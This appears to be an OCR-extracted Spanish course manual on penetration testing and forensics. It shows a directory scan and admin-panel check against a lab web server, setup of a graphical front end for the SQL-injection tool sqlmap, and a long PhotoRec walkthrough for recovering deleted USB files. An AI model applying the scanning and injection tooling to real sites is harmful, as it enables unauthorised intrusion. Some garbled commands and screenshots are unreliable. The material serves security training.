File	/biobel/pdf/mundo_biobel_mayo_2012.pdf	200				
Dir	/biobel/test/	200	\checkmark	Waiting		
Dir	/biobel/imgs/	200		Waiting		
File	/biobel/nosotros.php	200				
File	/biobel/pdf/tratamientos_web_mayo_2012.pdf	200				
File	/biobel/admin/index.php	200				
File	/biobel/productos.php	200				
File	/biobel/clientes.php	200				
File	/biobel/contacto.php	200				
Dir	/icons/	200	\checkmark	Waiting		
File	/biobel/flash/WS_FTP.LOG	200	Ō	Ū.		
Dir	/biobel/upload/categoria/	200	\checkmark	Waiting		
File	/biobel/flash/diagrama_052202.ppt	200				
Current speed: 0) requests/sec			(Select and right click for more options)		
Average speed:	(T) 302, (C) 8 requests/sec					
Parse Queue Siz	ze: 0	Current number of r	unning threads: 10			
Total Requests:	9363/4733356					
			Change			
Time To Finish: 6 Days						
Back	Continue Stop			Report		
Program paused!				/biobel/beach/		

9.2.-Revision del Panel de Administración.

← → C [] 192.168.1.104/biobel/admin/	
	Administrador Blobel
	Usuario
	Usuario admin
	Usuario admin Contraseña
	Usuario admin Contraseña
	Usuario admin Contraseña
	Usuario admin Contraseña Enviar
	Usuario admin Contraseña Enviar



Not Found

The requested URL /biobel/admin/index2.php was not found on this server.

Apache/2.2.3 (CentOS) Server at 192.168.1.104 Port 80

Dentro de las herramientas Otorgadas se entrega la interfaz grafica para "SQL-MAP"

Otro	Editra	Otro
GUI-SQLMAP ActivePytho5_32bits.msi SQLMAP ActivePytho5_64bits.msi	sqm.pyw Otro	CONFIGFILE PATH_TRAVERSAL REQUEST SESSION SHELL TRAFFIC

La cual se debe de copiar dentro de la Carpeta de "SQL-MAP" (todo a Raíz) y debería de quedar de la siguiente manera.



Una vez instalado el entorno grafico de "SQL-MAP" dar clic derecho sobre "*sqm.pyw*" y seleccionamos abrir con "python".



y Finalmente este es el entorno Grafico de "SQL-MAP"

O O O SQLmap Co	mmand Builder
SQLmap Command Builder Log viewer Editor Help!	
int	│ log File │ bulkFile │ requestFile │ googleDork │ direct ○ configFile
query to sqimap:	100000 · · · · · · · · · · · · · · · · ·
Settings Injection I Detection I Technique Request Enumeration Access	
Injection	Tampers
doms ACCESS parametric prefix auffix OS skip invalid-logical	 apostrophemask.py apostrophenullencode.py appendnullbyte.py base64encode.py between.py bluecoat.py chardoubleencode.py charencode.py charunicodeencode.py equaltolike.py
Detection	Technique
String Pegeocp Code kovel tit tit tit tit tit tit tit tit tit ti	cols char fme-sec dhs.domain
get query	san

3.- Recuperación de Datos mediante consola

1.-Conociendo el Software "PhotoRec"



Es un software diseñado para recuperar archivos perdidos incluyendo videos, documentos y archivos de los discos duros y CDRoms así como imágenes perdidas (por eso el nombre PhotoRecovery) de las memorias de las cámaras fotográficas, MP3 players, PenDrives, etc. PhotoRec ignora el sistema de archivos y hace una búsqueda profunda de los datos, funcionando incluso si su sistema de archivos está muy dañado o ha sido re-formateado.

Disponiblidad :

TestDisk & PhotoRec 6.14, Data Recovery

Para mayor información sobre la versión 6.14, puedes leer las notas libres y git history Belect your operating system to download the latest version of TestDisk & PhotoRec data recovery tools.

- 👬 Dos/Win9x 🖉
- 🌆 Windows 🖉
- 🏘 Windows 64-bit 🗗 Use only on systems lacking WoW64 🗗 as some features are missing
- A Linux i386 Ø, kernel 2.6.18 or later
- ▲ Linux x86_64
 e
 , kernel 2.6.18 or later
- 😰 Mac OS X Intel 🖉
- 🌠 Mac OS X PowerPC 🗗
- Symo Marvell 88F628x Linux 2.6.32 & Synology DS111, DS211, DS212+ NAS, Seagate BlackArmor NAS 220

2.-Instalacion y creación de Alias (sistemas Operativos Basados en Unix)

Durante el curso se entrega el software "photorec" para su instalación , solo de debe colocar en la carpeta deseada.

Ejemplo en OSX :



Como se observa fue colocada en la carpeta "Aplicaciones" de OSX

Colocar la carpeta en la ruta deseada para su uso.

Ejecución en Windows : Doble Click en photorec_win.exe (32 y 64 bits)

photorec_win.exe

testdisk_win.exe

Ejecución en OSX : ./photorec

(estar Posicionado en la carpeta de instalación)

Comando completo : MacBook-Pro-de-Makuaz:photorec Makuaz\$./photorec

```
PhotoRec 6.14-WIP, Data Recovery Utility, May 2013
Christophe GRENIER <grenier@cgsecurity.org>
http://www.cgsecurity.org
PhotoRec is free software, and
comes with ABSOLUTELY NO WARRANTY.
Select a media (use Arrow keys, then press Enter):
>Disk /dev/disk0 - 128 GB / 119 GiB (R0)
Disk /dev/disk2 - 500 GB / 465 GiB (R0)
Disk /dev/disk3 - 7803 MB / 7441 MiB (R0)
Disk /dev/rdisk0 - 128 GB / 119 GiB (R0)
Disk /dev/rdisk1 - 126 GB / 118 GiB (R0)
Disk /dev/rdisk1 - 126 GB / 118 GiB (R0)
Disk /dev/rdisk2 - 500 GB / 465 GiB (R0)
Disk /dev/rdisk3 - 7803 MB / 7441 MiB (R0)
```

Ejecución en Linux : en Unix/Linux/BSD, se necesita ser root para ejecutar PhotoRec (ej. sudo testdisk-6.9/linux/photorec_static)



Creación de un alias (sistemas basados en unix)

OSX : Posicionarse en la carpeta /sbin/

Comando completo :

"sudo In -s /Nombre_de_la_ruta/photorec/./photorec dump_usb"

Linux :

Comando completo

"In -s /Nombre_de_la_ruta/photorec/./photorec dum_usb"

Ejemplo en consola de un alias :

-rwxr-xr-x	1 root	wheel	31888 May 25 21:22 autodiskmount
-rwxr-xr-x	1 root	wheel	34256 May 25 21:23 disklabel
-rwxr-xr-x	1 root	wheel	34672 May 25 21:23 dmesg
lrwxr-xr-x	1 root	wheel	33 May 26 11:46 dump_usb -> /Applications/photorec/./photore

Donde **"dump_usb" :** es como teclearemos solamente en la consola Donde **"/Applications/photorec/./photorec"** : Es la ruta donde tenemos la aplicación.

3.-Perdiendo/Borrando Datos en una USB/HDD

Durante este ejercicio contamos con una Memoria USB marca Kingston y borraremos archivos dentro de ella.



borrándolos :



4.-Analizando los USB montados en nuestras computadoras

Abrimos nuestra consola o terminal, y verificamos cual es el nombre que se le ha asignado a la usb :

Ejemplo en OSX :

MacBook-Pro-de-Makuaz:sbin Makuaz\$ df -h

MacBook-Pro-de	-Makuaz	:sbin M	lakuaz\$	df -h				
Filesystem	Size	Used	Avail	Capacit	ty iused	ifree	%iused	Mounted on
/dev/disk2	118Gi	47Gi	70Gi	41%	12515789	18451096	40%	
devfs	212Ki	212Ki	0Bi	100%	736		100%	/dev
/dev/disk1s2	465Gi	343Gi	122Gi	74%	90015053	31997613	7.4%	/Volumes/Datos
map -hosts	0Bi	0Bi	0Bi	100%	0		100%	/net
map auto_home	0Bi	0Bi	0Bi	100%	0		100%	/home
/dev/disk4s1	1.9Gi	12Mi	1.8Gi	1%	0		100%	/Volumes/HM_USB

Nota : hay muchos comandos en internet , simplemente utilize el comando df-h para ver las particiones y verifico que esta "Hm_USB" es la que quiero testear.

Ejemplo en Linux :

Hay muchas maneras de hacerlo dependiendo la distribución que tengas. En este caso hemos usado el comando "mount" y vemos los dispositivos montados por el sistema .

```
[root@localhost ~]# mount
/dev/mapper/VolGroup00-LogVol00 on / type ext3 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/sda1 on /boot type ext3 (rw)
tmpfs on /dev/shm type tmpfs (rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)
```

Ejemplo en Windows :

Tan sencillo como entrar > inicio > mi PC, y listamos las unidades ... con la vista



4.1.-Recuperando los Datos

Sistemas basados en UNIX :

Abrimos nuestra terminal o consola y escribimos el alias que hemos asignado, si no hemos creado el alias pues solamente ejecutamos asi : "./photorec"

En este ejemplo usare el comando "usb_dump" el cual corresponde al alias que yo he asignado.

MacBook-Pro-de-Makuaz:/ Makuaz\$ usb_dump PhotoRec 6.14-WIP, Data Recovery Utility, May 2013 Christophe GRENIER <grenier@cgsecurity.org> http://www.cgsecurity.org No disk found. PhotoRec will try to restart itself using the sudo command to get root (superuser) privileges. sudo may ask your user password, it doesn't ask for the root password. Usually there is no echo or '*' displayed when you type your password. Password:

Y aparece una pantalla similar a esta :

```
PhotoRec 6.14-WIP, Data Recovery Utility, May 2013
Christophe GRENIER <grenier@cgsecurity.org>
http://www.cgsecurity.org
PhotoRec is free software, and
comes with ABSOLUTELY NO WARRANTY.
Select a media (use Arrow keys, then press Enter):
Disk /dev/disk0 - 128 GB / 119 GiB (RO)
Disk /dev/disk1 - 500 GB / 465 GiB (RO)
Disk /dev/disk4 - 2000 MB / 1907 MiB (RO)
Disk /dev/rdisk0 - 128 GB / 119 GiB (RO)
Disk /dev/rdisk1 - 500 GB / 465 GiB (RO)
Disk /dev/rdisk1 - 500 GB / 465 GiB (RO)
Disk /dev/rdisk1 - 500 GB / 465 GiB (RO)
Disk /dev/rdisk2 - 126 GB / 118 GiB (RO)
```

Como se puede Observar se listan los dispositivos USB y de Disco Duros conectados, previamente se ha observado la usb conectada y su nombre asignado.

En este ejemplo el nombre que se le ha asignado a la usb es : "/dev/disk4"

Seleccionamos el dispositivo:

PhotoRec 6.14-WIP, Data Recovery Utility, May 2013
Christophe GRENIER <grenier@cgsecurity.org></grenier@cgsecurity.org>
http://www.cgsecurity.org
PhotoRec is free software, and
comes with ABSOLUTELY NO WARRANTY.
Select a media (use Arrow keys, then press Enter):
Disk /dev/disk0 - 128 GB / 119 GiB (RO)
Disk /dev/disk1 - 500 GB / 465 GiB (RO)
>Disk /dev/disk4 - 2000 MB / 1907 MiB (RO)

y en la parte de abajo , Seleccionamos "[Proceed]"

>[Proceed] [Quit]		
Note:		
Disk capacity must be correctly detected for a successful recover If a disk listed above has incorrect size, check HD jumper setting	ry. ngs,	BIOS
detection, and install the latest US patches and disk drivers.		

A continuación se nos despliega una pantalla similar a esta donde se nos detalla la tabla de particiones (fat32) que tiene y el nombre que le hemos asignado (HM_USB).

PhotoRec 6.14-WIP, Data Re Christophe GRENIER <grenie http://www.cgsecurity.org</grenie 	covery r@cgse	/ Util curif	it; y,	y, May 20: org>	13		(1997)) (1996) 12 42	
Disk /dev/disk4 - 2000 MB	/ 1907	7 MiB	(R	0)				
Partition		Star	:	End		Size	in sector	rs
No partition	6	9 0	1	3907363	- 0	1	3907364	[Whole disk]
> 1 P FAT32	2	2 0	1	3907363	0	1	3907362	[HM_USB]

Escogemos en la parte de abajo "[Search].

Ahora se nos muestra una pantalla donde se nos pregunta el tipo de partición con la que cuenta la usb o el disco duro.

Photorec necesita saber que partición tiene y nos muestra en la parte de arriba el tipo de partición que tiene , en este caso escogeremos "FAT/NTFS/HFS+/ReiserFS/..."



En la siguiente pantalla escogemos la opción "[Whole]" para que busque en toda la partición del usb o disco duro.

PhotoRec 6.14-WIP, Data Re Christophe GRENIER <grenie http://www.cgsecurity.org</grenie 	covery r@cgsec	Uti uri	lity, May 20 ty.org≻	13			
1 P FAT32	2	0	1 3907363	0	1	3907362	[HM_USB]
Please choose if all space <mark>>[Free]</mark> Scan for fi [Whole] Extract fil	e need t le from .es from	:o b I FA I Wh	e analysed: T32 unalloca ole partitic	ited in	l spac	e only:	

Se nos preguntara donde deseamos que ponga los archivos recuperados. En este caso he preparado una carpeta llamada "recuperados" en mi escritorio , para que ahí los deposite.



\odot \bigcirc \bigcirc			
PhotoRec 6.14	ŀ-₩IP,	Data Re	ecovery Utility, May 2013
Please select Do not choose	a des to wi	stinatio rite the	on to save the recovered files. e files to the same partition they were stored on.
Keys: Arrow k	eys to	selec	t another directory
C when	the de	estinat	ion is correct
Q to qu	iit		
Directory /Us	ers/Ma	akuaz/De	esktop
drwx	501	20	272 19-Sep-2013 21:32 .
drwxr-xr-x	501	20	1530 19-Sep-2013 17:58
drwxr-xr-x	501	20	204 19-Sep-2013 20:39 hackingmexico
>drwxr-xr-x	501	20	68 19-Sep-2013 21:32 recuperados
drwxr-xr-x	501	20	170 18-Sep-2013 01:59 work

Para finaliza tecleamos la letra "C" para decirle al software que el destino es el correcto.

Y con esto empieza el Proceso de Recuperación en Segundo Plano.



Solo nos resta esperar a que termine el Proceso por completo.

Una vez terminado el Proceso veremos una pantalla como esta.



5.-Analisis de Datos

Analizaremos los archivos recuperados.

Directorios Recuperados

💼 recup_dir.1
recup_dir.2
recup_dir.3
recup_dir.4
recup_dir.5
recup_dir.6
recup_dir.7
recup_dir.8
recup_dir.9
recup_dir.10
recup_dir.11
recup_dir.12
recup_dir.13
recup_dir.14
recup_dir.15
recup_dir.16
recup_dir.17

MP3 : Recuperados

iTunes	
 f0022034.mp3 f0009634.mp3 	

Imágenes Recuperadas :

Vis	sta Previa	
1	f2339206.png	
1	f2309038.jpg	
	f2299930.jpg	
-	f2294060.tif	
Arc	hivos Recuperados :	

Microsoft Word	
f1855612.docx f2063288.docx	
Safari	
of 1876544.html	
Sublime Text 2	
i f2744260.jsp	

Archivos Compresos :

Keka

f1787366_rels.zip
f1853452_drs.zip
f1856394_rels.zip
f1930512_drs.zip
f1933754_drs.zip
f1948554_drs.zip
f2049362_rels.zip
f2049828_rels.zip
f2094348_ppt.zip
f2101122_ppt.zip

Windows :

Ejecutamos "photorec_win.exe"



Practicamente son los mismos pasos que en los sistemas basados en UNIX

💽 C:\Documents and Settings\m4ku4z\Mis documentos\testdisk-6.14.win32\testdisk-6.14\photorec_wi 💶 🗖 🗙
PhotoRec 6.14, Data Recovery Utility, July 2013 Christophe GRENIER <grenier@cgsecurity.org> http://www.cgsecurity.org</grenier@cgsecurity.org>
PhotoRec is free software, and comes with ABSOLUTELY NO WARRANTY.
Select a media (use Arrow keys, then press Enter): >Disk /dev/sda - 31 GB / 29 GiB (RO) - VBOX HARDDISK Disk /dev/sdb - 7803 MB / 7441 MiB (RO) - Kingston DT 100 G2
>[Proceed] [Quit]
Note:
Disk capacity must be correctly detected for a successful recovery. If a disk listed above has incorrect size, check HD jumper settings, BIOS detection, and install the latest OS patches and disk drivers.

Escogemos la unidad USB:



Escogemos la tabla de particiones :



Escogemos "Whole" para que busque por completo en todo el dispositivo.



Escogemos el destino de los archivos y directorios recuperados.



Confirmamos con la letra "C"

Y el software empieza a hacer su trabajo.

